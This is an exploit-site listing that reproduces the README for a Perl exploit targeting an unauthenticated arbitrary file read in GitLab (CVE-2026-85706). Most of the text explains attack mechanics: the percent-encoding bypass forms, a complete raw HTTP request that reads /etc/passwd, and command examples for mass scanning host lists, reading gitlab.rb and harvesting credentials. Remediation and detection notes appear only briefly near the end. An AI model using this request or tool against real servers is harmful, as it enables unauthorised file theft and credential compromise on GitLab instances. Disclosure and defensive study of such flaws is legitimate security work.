Sploitus

Exploit for CVE-2026-85706

githubexploit Β· 2026-09-14

Exploit Code

README343 lines
## https://sploitus.com/exploit?id=9F095C94-C184-57EC-B4F6-7C9F19938066
# CVE-2026-85706 β€” GitLab Unauthenticated Arbitrary File Read

[![CVSS](https://img.shields.io/badge/CVSS-10.0%20CRITICAL-red)](https://vulners.com/cve/CVE-2026-85706)
[![GitLab](https://img.shields.io/badge/GitLab-CE%2FEE-orange)](https://gitlab.com)
[![License](https://img.shields.io/badge/Use-Authorized%20Only-yellow)]()
[![MITRE](https://img.shields.io/badge/MITRE-T1083%20%7C%20T1552.001-blue)](https://attack.mitre.org/)

> **For authorized penetration testing and Red Team operations only.**  
> Unauthorized use constitutes a criminal offense. See [Legal Notice](#legal-notice).

---

## Overview

**CVE-2026-85706** is a CVSS 10.0 path traversal vulnerability in GitLab Community and Enterprise Editions that allows a completely **unauthenticated attacker** to read **arbitrary files** from the server filesystem with a single HTTP request. No credentials, no token, no user interaction required.

- **Disclosed:** September 10, 2026  
- **First exploitation observed:** September 11, 2026 (within 6 hours of disclosure)  
- **CISA KEV Added:** September 11, 2026  
- **Fixed in:** GitLab 19.1.8 / 19.2.6 / 19.3.2  

---

## Affected Versions

| Branch | Vulnerable Range     | Fixed In |
|--------|---------------------|----------|
| 18.x   | 18.7 β†’ 19.1.7       | 19.1.8   |
| 19.2   | 19.2.0 β†’ 19.2.5     | 19.2.6   |
| 19.3   | 19.3.0 β†’ 19.3.1     | 19.3.2   |

---

## Technical Analysis

### Architecture Context

GitLab's HTTP stack has three layers:

```
Internet β†’ [Nginx] β†’ [Workhorse (Go)] β†’ [Puma (Ruby/Rack)] β†’ [Rails/Grape API]
```

**Workhorse** acts as a smart reverse proxy: for certain "upload" endpoints (repository commits, file operations), it reads multipart request bodies, saves file data to disk, and rewrites the request before forwarding it to Puma. Crucially, it attaches a **JWT header** (`Gitlab-Workhorse-Api-Request`) to every request it proxies. Rails then validates this JWT (via `require_gitlab_workhorse!`) before executing any handler logic.

### Root Cause β€” Three-Layer Path Decoding Mismatch

**Layer 1 β€” Workhorse route matching:**  
Workhorse matches request paths using a compiled regex that operates on the **raw, percent-encoded byte string**. It does NOT decode `%XX` sequences before matching.

**Layer 2 β€” Puma/Rack routing:**  
Puma decodes `%XX` sequences **before** Grape routes the request. So a request to `/repository/%63ommits` is decoded to `/repository/commits` and routed to `CommitsController`.

**Layer 3 β€” Pre-auth file read:**  
Once in the Rails handler (which is reached **without** Workhorse's JWT because Workhorse never matched the request), the handler reads `params[:file][:path]` from the query string and calls:

```ruby
File.open(params[:file][:path])   # ← happens BEFORE authentication
```

### The Bypass Trick

By percent-encoding one character in a static path segment, the attacker's request slips past Workhorse undetected:

| Segment    | Original    | Bypass Form      | Encoded Char |
|------------|------------|-----------------|--------------|
| `commits`  | `commits`  | `%63ommits`     | `c` β†’ `%63` |
| `commits`  | `commits`  | `%43ommits`     | `C` β†’ `%43` |
| `repository` | `repository` | `%72epository` | `r` β†’ `%72` |
| `files`    | `files`    | `%66iles`       | `f` β†’ `%66` |
| (any)      | `commits`  | `commits/`      | trailing slash |
| (any)      | `commits`  | `commits.json`  | Grape suffix |

### Content Exfiltration Mechanism

After the file is opened, the content is exfiltrated via Rack's query-string parser:

```
Rack::Utils.parse_nested_query(File.read(path))
```

If the file contains a `%` **not followed by two valid hex digits** (which is common in Ruby config files, CI YAML, logs, etc.), Rack raises:

```
InvalidParameterError: Invalid parameter: invalid %-encoding ()
```

This 400-response body contains the **raw file content** up to and including the offending byte β€” revealing the file's contents to the unauthenticated caller.

Files without exploitable `%` sequences (e.g., clean `/etc/passwd`) return a `401` or parameter-validation error after the read: this acts as a **file-existence oracle** (the read still happened pre-authentication).

### Exploit Request Structure

```http
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

---

## MITRE ATT&CK Mapping

| Technique     | ID           | Implementation in this PoC          |
|---------------|--------------|-------------------------------------|
| File and Directory Discovery | [T1083](https://attack.mitre.org/techniques/T1083/) | `--scan` mode probes 38 sensitive server paths |
| Credentials In Files | [T1552.001](https://attack.mitre.org/techniques/T1552/001/) | `--harvest` extracts keys/tokens/passwords from leaked content |

---

## Installation

### Requirements

| Module | Package | Role |
|--------|---------|------|
| `LWP::UserAgent` | `libwww-perl` | HTTP client (mandatory) |
| `LWP::Protocol::https` | `libwww-perl` | HTTPS support (mandatory) |
| `URI::Escape` | `liburi-perl` | Query-string encoding (mandatory) |
| `Term::ANSIColor` | `libterm-ansicolor-perl` | Colored output (optional) |
| `JSON` | `libjson-perl` | JSON output mode (optional) |

```bash
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl

# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON

# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON

# Make executable
chmod +x exploit.pl
```

---

## Usage

```
Usage: exploit.pl [OPTIONS]

Target:
  -u, --url             GitLab base URL            [default: http://localhost:8080]
  -p, --project-id       Numeric ID or namespace%2Fproject  [default: 1]
                              Commits API forms: project must be anonymously accessible
                              Files API forms:   any value works (file read precedes auth)

Exploitability check:
  -c, --check                Single-target check (quick by default β€” ≀9 requests)
      --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
  -L, --check-host-list   Check multiple targets (one URL/host per line)
                             Add --full for the 4-stage sweep on every host

Single-file read:
  -f, --file           Absolute server path to read (e.g. /etc/passwd)

Scan mode (T1083 β€” File and Directory Discovery):
  -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
  -w, --wordlist       Use a custom file list (one absolute path per line)
  -H, --harvest              Extract credentials from leaked content (T1552.001)

Output:
  -o, --output         Tee all output to file
  -j, --json                 Emit results as JSON array (requires JSON.pm)
  -v, --verbose              Print full request URL before each probe
      --no-color             Disable ANSI colour output

Connection:
  -t, --timeout           Per-request timeout in seconds  [default: 15]
  -d, --delay             Delay between requests in seconds (float)  [default: 0]
  -r, --retries           Retry count on connection error  [default: 2]
  -A, --user-agent      Override User-Agent string
```

### Quick vs Full check

| | Quick (default) | Full (`--full`) |
|---|---|---|
| **Requests** | ≀9 (1 preflight + ≀4Γ—2) | 27+ |
| **Early exit** | Yes β€” stops at first confirmed differential | No β€” sweeps all 22 forms |
| **Version info** | No | Yes |
| **Bypass forms** | 4 representative Files API | All 22 (Commits + Files API) |
| **Best for** | Fast recon, large host lists | Pentest reports, `--file`/`--scan` prep |

**Quick check pipeline:**
1. `GET /api/v4/version` β€” reachability + GitLab hint
2. For each of 4 Files API bypass forms: probe `/etc/hostname` + unique canary
3. `canary β†’ 'local file not present'` ∧ `hostname β‰  canary` β†’ **VULNERABLE** (exit immediately)
4. All forms exhausted with no differential β†’ **NOT VULNERABLE**

**Full check pipeline (`--full`):**
1. GitLab detection + version fingerprinting
2. Control probe (Workhorse baseline)
3. All 22 bypass forms Γ— canary path
4. Differential confirmation with the best confirmed form

### `--project-id` and check modes

The `--project-id` flag is usable in every mode, including `--check` and `--check-host-list`. Understanding the interaction:

| Bypass group | Forms | Project ID dependency |
|---|---|---|
| Files API (`%66iles`, `%46iles`, `re%70ository/files`, …) | 14 | **None** β€” file read precedes project check by design of the CVE. Any ID (even non-existent) produces the correct signal. |
| Commits API (`%63ommits`, `%43ommits`, `repository/commits/`, …) | 8 | **Required** β€” project must exist and be anonymously readable. Returns `project-gate` if not. |

**Practical guidance:**
- `--check` (quick): uses only Files API forms β†’ project ID irrelevant.
- `--check --full`: tests all 22 forms. If you know a public project ID, pass `--project-id ` to also confirm Commits API forms.
- `--check-host-list`: a single `--project-id` rarely maps to a public project across all hosts. Omit it.

### Examples

```bash
# Quick check β€” ≀9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check

# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5  # (default: --project-id 1)

# Full 4-stage check β€” version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full

# Quick scan of a host list (≀9 probes per host)
./exploit.pl --check-host-list targets.txt

# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full

# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json

# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt

# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd

# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest

# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt

# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json

# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
```

---

## Response Verdicts

| Verdict | Meaning |
|---------|---------|
| `leak` | **File content echoed** in the response body via Rack parse error |
| `leak-fragment` | Partial content echo via parameter-name fragment |
| `read-noecho` | HTTP 401 on bypass path β€” **ambiguous**: either file read happened pre-auth (vulnerable, clean content with no bad `%`-sequence), or auth fires before the read (patched server). Use `--check` to confirm via differential |
| `missing` | Bypass path worked; handler reached; file not present or not readable |
| `rewrite` | Workhorse intercepted this path form β€” bypass failed |
| `project-gate` | Commits API rejected the project; try Files API forms |
| `noroute` | Rails did not route this path variant |

---

## Improvements Over Original Python PoC

| Feature | Python PoC | This Perl PoC |
|---------|------------|----------------|
| Bypass path variants | 6 | 15 |
| Bulk file scanning (T1083) | βœ— | βœ“ Built-in 38-path wordlist |
| Credential harvesting (T1552.001) | βœ— | βœ“ 22 credential patterns |
| JSON output | βœ— | βœ“ `--json` |
| File output / tee | βœ— | βœ“ `--output` |
| File-existence oracle messages | Basic | Explicit, color-coded |
| Retry logic | βœ— | βœ“ Configurable `--retries` |
| Per-request delay | βœ— | βœ“ `--delay` (float seconds) |
| Custom User-Agent | βœ— | βœ“ `--user-agent` |
| Namespace/project IDs | βœ— | βœ“ Auto-encodes `/` β†’ `%2F` |
| Verbose mode | βœ— | βœ“ `--verbose` |

---

## Remediation

1. **Patch immediately:** Upgrade to GitLab 19.1.8, 19.2.6, or 19.3.2.
2. **Short-term:** Restrict public access to the GitLab instance via network controls.
3. **Credential rotation:** After patching, rotate all secrets that could have been exposed:
   - `secret_key_base` and `otp_key_base` in `gitlab.rb`
   - Database passwords
   - SSH keys (`/home/git/.ssh/`, `/root/.ssh/`)
   - CI/CD variables and runner registration tokens
   - Deploy tokens and personal access tokens

### Detection

Hunt for `POST` or `PUT` requests to `/api/v4/projects/*/repository/` paths containing:
- Percent-encoded static segments (`%63`, `%43`, `%72`, `%70`, `%66`, `%46`, etc.)
- `file.path` query parameter
- Trailing slash or `.json` format suffix on `commits` or `files` endpoints

---

## References

- [CVE Record β€” cve.org](https://vulners.com/cve/CVE-2026-85706)
- [GitLab Patch Release 19.3.2](https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/)
- [The Hacker News β€” CVSS 10 coverage](https://thehackernews.com/2026/09/gitlab-cvss-10-file-read-flaw-draws-in.html)
- [Forkast News β€” Technical breakdown](https://forkast.news/one-http-request-every-file-on-the-server-gitlabs-cvss-10-commits-api-flaw-hits-active-exploitation-within-hours/)
- [Security Affairs β€” Active exploitation](https://securityaffairs.com/198945/hacking/gitlab-cve-2026-85706-one-http-request-no-authentication-full-file-read-exploited-within-24-hours.html)
- [Python PoC β€” guneykabel](https://github.com/guneykabel/cve-2026-85706)
- [MITRE T1083 β€” File and Directory Discovery](https://attack.mitre.org/techniques/T1083/)
- [MITRE T1552.001 β€” Credentials In Files](https://attack.mitre.org/techniques/T1552/001/)

---

## Legal Notice

This tool is provided **strictly** for:

- Authorized penetration testing engagements (written permission required)
- Red Team operations within contracted scope
- Security research in controlled, isolated laboratory environments
- CTF (Capture The Flag) competitions
- Defensive purposes: understanding the vulnerability to detect/mitigate it

**Unauthorized use** against systems you do not own or lack explicit written authorization to test is **illegal** in virtually every jurisdiction and may result in criminal prosecution under computer misuse laws (CFAA, Computer Misuse Act, etc.).

The author and contributors of this tool assume **no liability** for any misuse or damage caused by this software.

---

## Credits

- **Original Python PoC:** [guneykabel](https://github.com/guneykabel/cve-2026-85706) β€” initial proof-of-concept that demonstrated the core bypass technique
- **CVE Assignment & Disclosure:** GitLab Security Team
- **This Perl PoC:** Extended multi-form detection engine, credential harvesting, bulk scanning, JSON pipeline output, and differential confirmation logic